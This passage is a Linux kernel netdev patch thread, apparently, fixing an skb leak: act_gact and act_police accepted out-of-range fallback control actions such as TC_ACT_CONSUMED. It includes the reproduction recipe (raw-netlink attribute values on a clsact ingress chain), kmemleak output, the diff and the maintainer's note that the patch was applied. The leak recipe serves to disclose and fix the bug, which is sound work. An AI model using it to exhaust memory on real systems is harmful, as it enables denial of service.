with -EINVAL and leaks nothing.\n"); return 0; }-------------------------------------------------->8
Reproducer needs
CONFIG_NET_ACT_GACT+CONFIG_GACT_PROBandCONFIG_NET_ACT_POLICE, plusCONFIG_DEBUG_KMEMLEAKand kmemleak=on to observe it.The bad value cannot be set with tc(8) - iproute2 only parses symbolic action names - so the fallback has to be planted over raw netlink:
TCA_GACT_PROB.paction = 9 with ptype =PGACT_DETERMand pval = 1, orTCA_POLICE_RESULT= 9 with rate = 0. Attach either to a clsact ingress chain and every packet leaks its skb.Before, one
sk_buffplus its data buffer per packet:kmemleak: 166 new suspected memory leaks unreferenced object
0xffff888103baadc0(size 232):kmem_cache_alloc_node_noprof+0x2f1/0x3e0 __alloc_skb+0xe5/0x860 alloc_skb_with_frags+0x82/0x750 sock_alloc_send_pskb+0x658/0x7e0 packet_sendmsg+0x1833/0x4860 __x64_sys_sendto+0xe0/0x1c0 do_syscall_64+0x102/0x5a0After: both configurations are rejected at netlink time with
-EINVALand "invalid fallback control action", and kmemleak reports no unreferenced objects.For the same reason tdc cannot express the bad configuration, so no selftest accompanies this patch. A self-contained C reproducer is available on request.
include/net/act_api.h +19
-0@@ -270,6 +270,25 @@ int tcf_action_check_ctrlact(int action, struct tcf_proto *tp,struct tcf_chain *tcf_action_set_ctrlact (struct tc_action *a,int action,struct tcf_chain *newchain); +/* Range check for a control action supplied by user space. +* +* This is the same test tcf_action_check_ctrlact() applies to the primary +* control action, factored out for the *fallback* control actions +* (act_gact's TCA_GACT_PROB.paction and act_police's TCA_POLICE_RESULT), +* which must not reach tcf_action_check_ctrlact() because they have no +* goto_chain to allocate. Without it, user space can store kernel-internal +* verdicts such as TC_ACT_CONSUMED, which is TC_ACT_VALUE_MAX + 1 and is +* deliberately not part of the UAPI value range. +*/ +static inline bool tcf_action_valid (int action) +{ +int opcode =TC_ACT_EXT_OPCODE (action); + +if (!opcode) +return action <=TC_ACT_VALUE_MAX ; +return opcode <=TC_ACT_EXT_OPCODE_MAX || action ==TC_ACT_UNSPEC ; +} +#ifdef CONFIG_INET DECLARE_STATIC_KEY_FALSE (tcf_frag_xmit_count);#endif net/sched/act_gact.c +5
-0@@ -89,6 +89,11 @@ static int tcf_gact_init(struct net *net, struct nlattr *nla, p_parm =nla_data (tb[TCA_GACT_PROB ]);if (p_parm->ptype >=MAX_RAND )return -EINVAL ; +if (!tcf_action_valid (p_parm->paction)) { +NL_SET_ERR_MSG (extack, +"invalid fallback control action" ); +return -EINVAL ; + }if (TC_ACT_EXT_CMP (p_parm->paction,TC_ACT_GOTO_CHAIN )) {NL_SET_ERR_MSG (extack,"goto chain not allowed on fallback" );net/sched/act_police.c +6
-1@@ -128,6 +128,12 @@ static int tcf_police_init(struct net *net, struct nlattr *nla,if (tb[TCA_POLICE_RESULT ]) { tcfp_result =nla_get_u32 (tb[TCA_POLICE_RESULT ]); +if (!tcf_action_valid (tcfp_result)) { +NL_SET_ERR_MSG (extack, +"invalid fallback control action" ); + err = -EINVAL ; + goto failure; + }if (TC_ACT_EXT_CMP (tcfp_result,TC_ACT_GOTO_CHAIN )) {NL_SET_ERR_MSG (extack,"goto chain not allowed on fallback" ); --2.43.0
Quoted 44 lines · Hyunjung Ko
tcf_action_check_ctrlact()range checks the primary control action:if (!opcode) ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;
TC_ACT_VALUE_MAXisTC_ACT_TRAP, so kernel-internal verdicts above it cannot be set that way. Butact_gactandact_policeeach carry a second, independent control action supplied by user space that never reaches that helper - TCA_GACT_PROB.paction andTCA_POLICE_RESULT. Both only rejectTC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned verbatim from the action.In particular user space can store
TC_ACT_CONSUMED, which isTC_ACT_VALUE_MAX+ 1 and is deliberately not part of the UAPI value range. That verdict tells every caller the action took ownership of the skb, so nobody frees it:sch_handle_ingress(),sch_handle_egress()andtcf_qevent_handle()all deliberately skip the free for it. The result is one leakedsk_buffplus its data buffer per packet traversing the filter, unbounded, for all traffic on the chain including kernel-generated packets.Both are trivially deterministic.
act_gactclampstcfg_pvalto >= 1, so with pval = 1gact_determ()returns the fallback for every packet.act_policehas no mandatory rate, so rate = 0 leavestcfp_mtu= ~0 andtcf_police_mtu_check()always passes.
TC_ACT_CONSUMEDwas added by commit720f22fed81b("net: sched: refactor reinsert action"), after both goto-chain guards were written:
commit9469f375ab09("net/sched:act_gact: disallow 'goto chain' on fallback control action") and
commitc08f5ed5d625("net/sched:act_police: disallow 'goto chain' on fallback control action"). Neither guard was widened when the new verdict appeared.Factor the existing range test out of
tcf_action_check_ctrlact()astcf_action_valid()and apply it to both fallbacks. The helper cannot calltcf_action_check_ctrlact()directly because that also allocates agoto_chain, which is exactly what these two sites must not do.Reproduced on v7.2-rc6: kmemleak reports one leaked 232-byte
skbuff_head_cacheobject plus its 704-byte data buffer per packet. With this patch both configurations are rejected with-EINVALand kmemleak reports none.
Quoted 4 lines
Fixes 720f22fed81b ("net: sched: refactor reinsert action")Cc [email protected] # v5.3+Assisted-by Anthropic-Claude-Code:Claude-Opus-5Signed-off-by Hyunjung Ko <[email protected]>
This patch was applied to netdev/net.git (main) by Jakub Kicinski <[email protected]>:
Hello:
This patch was applied to netdev/net.git (main)
by Jakub Kicinski <[email protected]>:
Quoted 5 lines · On Thu, 6 Aug 2026 19:12:52 +0900 you wrote:
tcf_action_check_ctrlact()range checks the primary control action:if (!opcode) ret = action > TC_ACT_VALUE_MAX ? -EINVAL : 0;
Quoted 8 lines
TC_ACT_VALUE_MAXisTC_ACT_TRAP, so kernel-internal verdicts above it cannot be set that way. Butact_gactandact_policeeach carry a second, independent control action supplied by user space that never reaches that helper - TCA_GACT_PROB.paction andTCA_POLICE_RESULT. Both only rejectTC_ACT_GOTO_CHAIN, so any other value is stored verbatim and returned verbatim from the action.[...]
Here is the summary with links:
- [net,v2] net/sched: act_gact, act_police: range check the fallback control action
https://git.kernel.org/netdev/net/c/883b56ae58fe
You are awesome, thank you!
Signature · 2 lines
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